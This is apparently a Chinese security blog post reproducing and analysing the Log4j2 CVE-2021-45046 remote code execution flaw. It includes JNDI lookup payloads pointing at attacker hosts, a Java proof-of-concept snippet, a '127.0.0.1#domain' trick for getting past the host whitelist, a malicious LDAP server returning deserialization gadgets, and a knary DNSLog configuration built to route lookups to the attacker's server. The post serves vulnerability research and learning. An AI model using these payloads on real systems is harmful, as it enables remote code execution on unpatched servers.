Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析

文章目录

  • 0x00 前言
  • 0x01 CVE-2021-45046 相关动态
  • 0x02 漏洞浅析与复现
    • 可触发lookup功能的其它方式
    • 绕过Host白名单限制+反序列化Gadget在本地环境实现RCE
    • 使用knary快速创建dnslog服务解决java.net.UnknownHostException最终实现RCE
  • 0x03 在Linux上不能复现的问题
  • 0x04 小结
  • 参考

0x00 前言

自从上上周四(12月9日晚)关于Log4j2的Log4Shell(CVE-2021-44228)漏洞被披露后引发了安全圈地震,笔者就立刻对该漏洞进行复现和分析,并持续跟踪这个漏洞后续的资讯动态。本想上周五整理成文发篇分析文章作为自己的学习记录,但文章没写多少,笔者的目光又被转移了…

因为自从这个漏洞披露后,目光聚焦在Log4j2的安全研究人员大幅增多,导致后续又有几个关于log4j2的CVE披露,包括拒绝服务的,还有一个RCE的,但条件都比较苛刻。尽管如此,其中可能导致RCE的CVE-2021-45046 还是引起了我的兴趣。笔者也花了些时间去分析和复现,虽然漏洞利用存在前置条件,但在复现的过程中,确实学到了东西,还是很有意思的,故以此文作为记录。

至于Log4Shell的分析,后面慢慢完成了再发出来,作为学习记录。毕竟已经很多人、厂商发过了,也不着急。

0x01 CVE-2021-45046 相关动态

  • 漏洞影响版本:All versions from 2.0-beta9 to 2.15.0, excluding 2.12.2

关于CVE-2021-45046这个洞,刚披露的时候只是说在某些特定条件下可导致拒绝服务,CVSS评分也只有3.7,后来经过安全人员的研究,在某些特定条件下,还可以RCE。官方也将该漏洞的CVSS评分改为了9.0。国内一些厂商也跟进发了预警。(参考[1][2][3][4])

Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析_第1张图片
Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析_第2张图片

0x02 漏洞浅析与复现

对于CVE-2021-44228漏洞在2.15.0版本上的修复有了解过的同学就会知道,在2.15.0版本中:

  • 1、 默认是不开启Lookup功能,即log42.formatMsgNoLookups默认为true。另外,从2.15.0版本开始,已无法再通过设置该选项为false来开启Lookup功能,只能通过在配置文件中指定%m{lookups} 来开启。
    这一点,在2.15.0的代码注释中可以看到:
    Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析_第3张图片

  • 2、 在CVE-2021-44228漏洞的sink处,也就是JndiManager#lookup()方法中,进行了以下安全校验:

    • (1) allowedProtocols:只允许协议javaldapldaps
    • (2) allowedHosts:只允许主机为本机IP127.0.0.1localhost等。
    • (3) allowedClasses:LDAP服务器的返回包中javaClassName只允许为基本数据类型的类,比如java.lang.Booleanjava.lang.Bytejava.lang.Short等等。(其实这个限制意义不大,后面会说)。
    • (3) 不能加载远程ObjectFactory类。

这里就不贴代码了,有兴趣可以翻阅2.15.0版本JndiManager#lookup()方法的代码。


既然如此,想要在2.15.0版本上实现RCE,就必须得解决或绕过上面的两大点限制。

可触发lookup功能的其它方式

前几天,pwntester 在推上给出了在log4j2中通过配置文件(log4j2.ymllog4j2.xmllog4j.properties) 配置Pattern Layout的方式去触发Lookup功能的一些示例代码。这其实是Log4j2提供的功能,详细可参考官方文档(参考[5][6])

Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析_第4张图片
这里以Context Map Lookup为例进行说明。
Context Map Lookup 允许应用程序将数据存储在Log4j2的线程上下文集合中,当调用logger.error("xxx")方法时便会在读取log4j2配置文件时从线程上下文集合中检索需要的值。

编写log4j2.xml配置文件内容如下:


<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d %p %c{1.} [%t] ${ctx:loginId} %m%n"/>
        Console>
    Appenders>
    <Loggers>
        <Root level="error">
            <AppenderRef ref="Console"/>
        Root>
    Loggers>
Configuration>

既然能触发Lookup功能了,那么如果存入Context Map中的值如果是来自外部的输入,就存在被RCE攻击的风险。比如往Context Map中存入用于jndi查询的字串:${jndi:ldap://evilhost.com:8085/a},则在检索的时候便会触发JNDI Lookup。

绕过Host白名单限制+反序列化Gadget在本地环境实现RCE

前面提到了在2.15.0版本的JndiManager#lookup()方法增加的安全校验:
(1) 协议白名单:javaldapldaps

  • (2) 主机白名单:本机IP127.0.0.1localhost等。
  • (3) javaClassName白名单比如java.lang.Booleanjava.lang.Bytejava.lang.Short等等。
  • (3) 不能加载远程ObjectFactory类。

因此,我们只能使用ldap协议进行JNDI注入。
至于主机白名单,这里使用Java的一个trick进行绕过,如下:

ldap://127.0.0.1#evilhost.com

URI#getHost()方法遇到这样的url时,会取#前面,协议://后面的部分作为url的Host.

至于javaClassName这个属性,这个属性的值是从LDAP服务器返回的数据里取的,而且这个属性的值对于后续的漏洞利用毫无影响,只要修改一下LDAP服务端的代码,将该值的属性改为满足log4j2中要求的值即可。

还有最后一个限制,不允许加载远程ObjectFactory类,代码如下:
Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析_第5张图片
如上图代码所示,既然不允许加载远程ObjectFactory类,那我们就修改LDAP服务器,让其返回序列化数据,这样,代码还是会走到最后的this.context.lookup()。另外,我之前的文章JNDI注入利用原理及绕过高版本JDK限制 详细说到了JNDI注入绕过高版本JDK限制的其中一种方式,就是让LDAP服务返回恶意的Java序列化数据,在目标服务JNDI lookup的过程中,如果目标环境classpath中包含了可利用的反序列化Gadget,便可实现 RCE。

所以这里实现RCE的另一个条件就是目标环境中存在可被利用的Java反序列化Gadget。

这里为了测试,我在目标环境中添加了commons-beanutils:1.9.4,目的就是为了利用ysoserial中CommonsBeanutils1这条反序列化Gadget。

<dependency>
  <groupId>commons-beanutilsgroupId>
  <artifactId>commons-beanutilsartifactId>
  <version>1.9.4version>
dependency>

至于LDAP服务的修改,因为在之前的文章JNDI注入利用原理及绕过高版本JDK限制 中提到,已经在LDAPRefServer类的基础上,新建类LDAPRefServer_BypassHighJDK添加了返回反序列化数据的功能。所以这里直接复制该类,并命名为:LDAPRefServer_Log4j2BypassHighJDK,并将要返回给客户端的javaClassName的值指定为java.lang.String
Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析_第6张图片
到此,所有的准备工作都完成了,貌似只欠东风了。用marshalsec开启LDAP服务,用以下代码测试:

String poc = "${jndi:ldap://127.0.0.1#mole.org:8085/a}";
ThreadContext.put("loginId", poc);
logger.error("foo");

测试发现报异常java.net.UnknownHostException,报错部分信息如下:looking up JNDI resource [ldap://127.0.0.1#mole.org:8085/a]. javax.naming.CommunicationException: 127.0.0.1#mole.org:8085 [Root exception is java.net.UnknownHostException: 127.0.0.1#mole.org]

从报错信息可知,在向LDAP查询的时候,当然会先对URL里的域名进行解析,但这里会将 127.0.0.1#mole.org 看作一个域名并对其进行解析,但这个是一个不存在的域名,结果也就可想而知。

那如果只是为了在本地测试成功,即我的LDAP服务是在本地的,要怎么做呢?答案就是使用互联网上的DNSLog平台的子域名 ,比如国内的hxxp://www.dnslog.cn,获取随机一个子域名,在对其子域名如e04yge.dnslog.cn,甚至包括像127.0.0.1#bypass.e04yge.dnslog.cn的形式进行dns请求时,回显的IP永远是127.0.0.1。如下图所示:
Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析_第7张图片
所以我们就可以利用这一点,将PoC改为:${jndi:ldap://127.0.0.1#e04yge.dnslog.cn:8085/a},其中8085端口是本地的LDAP服务端口。这样,在本地环境就能复现RCE了:
Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析_第8张图片


使用knary快速创建dnslog服务解决java.net.UnknownHostException最终实现RCE

为什么要讲本地环境的呢?毕竟一般而言,攻击者的LDAP服务都是在公网上的。确实如此。前面说本地环境,只是为了阐述一下解决问题的思路。既然公共的DNSLog平台能在捕获DNS日志的同时指定返回一个固定的IP。那我们是否可以自己创建一个DNSLog平台,并指定返回一个公网服务器IP,且服务器上部署了我们的恶意LDAP服务器?答案是肯定的。

笔者使用了国外安全友人@marcioalm 推荐的一个开源的,开箱即用的,可配置的,可用作DNSLog的程序knary。
Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析_第9张图片

因为之前没有自己搭建过DNSLog平台,所以过程中还是遇到了些DNS相关的问题。不过在不断试错和查阅资料后,还是成功搞定了。

笔者仅使用一个公网IP1.1.1.1一个域名xxxx.xyz去搭建。

首先,我在ClouDNS上购买了个最便宜的域名xxxx.xyz(用免费的也是可以的)。并设置A记录和NS记录如下:
Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析_第10张图片
如上图,前面三条(1条A记录和两条NS记录)为了能通过互联网正常解析域名xxxx.xyz

然后,我将dns.xxxx.xyz作为我的DNSLog平台主机的域名。其NS记录为ns1.xxxx.xyz 表示用ns1.xxxx.xyz这个Name Server来解析dns.xxxx.xyz这个域名。然后创建A记录ns1.xxxx.xyz <-> 1.1.1.1 ,让ns1.xxxx.xyz映射到公网IP1.1.1.1。这两条配置是为了让公网的1.1.1.1的DNSLog服务去处理域名dns.xxxx.xyz及其子域的DNS请求。(注:DNSLog服务,其实也是一种DNS服务,默认开放的也是UDP的53端口)

域名配置好后,接着就是在服务器1.1.1.1上配置knary,以下是我的配置:

DNS=true
HTTP=true
BIND_ADDR=0.0.0.0
CANARY_DOMAIN=dns.xxxx.xyz
LARK_WEBHOOK=https://open.feishu.cn/open-apis/bot/v2/hook/
EXT_IP=1.1.1.1
DEBUG=true
  • CANARY_DOMAIN指定为你要记录DNS日志的域名;
  • DNSHTTPtrue,表示会记录对*.dns.xxxx.xyz域名的DNS请求和HTTP请求;
  • *_WEBHOOK:knary支持多个webhook服务。这里我配置为飞书的。简单点说,就是配置这个后,可以将对*.dns.xxxx.xyz域名的DNS请求和HTTP请求记录,通过飞书bot机器人推送给你。
  • EXT_IP:这个很关键,当对*.dns.xxxx.xyz域名或其子域发送DNS请求时,应答给请求方的IP地址。这里当然就是配置为我的公网IP1.1.1.1
  • DEBUGtrue表示启用调试,这会在控制台打印一些调试信息。

一切就绪后,启动knary服务。

现在,在自己电脑ping一下127.0.0.1#`whoami`.dns.xxxx.xyzLog4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析_第11张图片
发现成功解析,并回复了IP是我们的公网IP1.1.1.1。同时,DNS请求记录也通过飞书推送给我了,使用knary自建DNSLog平台成功。
Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析_第12张图片
现在可以测试RCE了。在1.1.1.1服务器上,使用marshalsec启动可返回恶意序列化数据的LDAP服务:

payload改为:

${jndi:ldap://127.0.0.1#bypasss.dns.xxxx.xyz:8085/a}

成功实现RCE。
Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析_第13张图片

0x03 在Linux上不能复现的问题

笔者的目标环境是macOS。看到推上有国外有人说在linux上没有复现成功,说是linux不支持对127.0.0.1#myhost.com这样的域名发起请求。笔者在Ubuntu和CentOS上试了一下,发现确实如此。不过后来@marcioalm 放出了一个在某个Linux发行版上复现成功的说明。
Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析_第14张图片
不过笔者也没兴趣继续深挖了。毕竟这个洞相对CVE-2021-44228比较鸡肋。况且笔者对该漏洞发分析文章进行记录,主要是对其中的绕过原理和复现所涉及的知识点感兴趣。

0x04 小结

该漏洞相对CVE-2021-44228比较鸡肋,存在以下前提条件,但绕过原理和复现所涉及的知识点挺有意思的。

  • 1、配置文件的模板里的参数,可以通过外部输入去控制。pwntester公开了一些lookup查询的配置样例(参考[4])
  • 2、目标环境需要存在反序列化利用链。
  • 3、利用的时候,需要创建你的dnslog平台,使得对 127.0.0.1#dnslog.evilhost 这样的域名发起DNS请求时,能返回LDAP服务器的IP地址。

参考

[1] https://mp.weixin.qq.com/s/iXP6hYGg891y8N3ZtXsQbg
[2] https://logging.apache.org/log4j/2.x/security.html
[3] https://mp.weixin.qq.com/s/roNtIXECg0LkgjFn-3Uwpg
[4] https://twitter.com/pwntester/status/1471511483422961669
[5] https://logging.apache.org/log4j/2.x/manual/lookups.html#ContextMapLookup
[6] https://logging.apache.org/log4j/2.x/manual/configuration.html#AutomaticReconfiguration
[7] https://github.com/sudosammy/knary
[8] https://zhuanlan.kanxue.com/article-11414.htm

你可能感兴趣的:(安全,web安全)